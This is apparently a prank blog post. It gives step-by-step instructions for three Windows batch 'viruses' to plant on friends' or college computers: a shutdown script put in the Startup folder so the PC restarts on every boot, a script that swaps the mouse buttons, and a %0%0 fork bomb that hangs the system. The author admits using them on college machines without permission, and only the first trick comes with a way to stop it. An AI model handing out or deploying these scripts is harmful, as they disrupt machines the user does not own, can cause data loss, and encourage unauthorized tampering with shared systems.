Continuously restart your friends PC

 I always use this virus in our college pc..ya I know it's not fair to mess with college system, but then I also discover how to stop this virus. Now come to the topic, follow the procedure.

•  Open notepad
•  Write: shutdown -r -t -f 15 (here r : restart, t : given time and f : forcefully)
•  Save it as anyname.bat
• Copy the file into the C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup directory
• Congrats!! you just made your active virus.

 You can abort shutdown process from command prompt by following command

 shutdown /a

Swap Mouse Button

 This is one of the coolest virus I ever seen
Just copy the code below into notepad and save it as yourname.bat


@echo off
Rundll32 user32,SwapMouseButton
msg * Dude, you execute wrong file.
msg * this is gonna screw you up


Put this file into your friends computer and see their faces!!

Fork Bomb

The fork bomb is quite simple yet powerfull batch virus. It makes little bit fun in school and college
computer. Just type the following code in text file and save it as fork.bat

%0%0

This code creates a large number of processes very quickly in order to saturate the process table of windows. It will just hang the windows by grabing the 100% CPU. This is actually known as 'fork bomb'.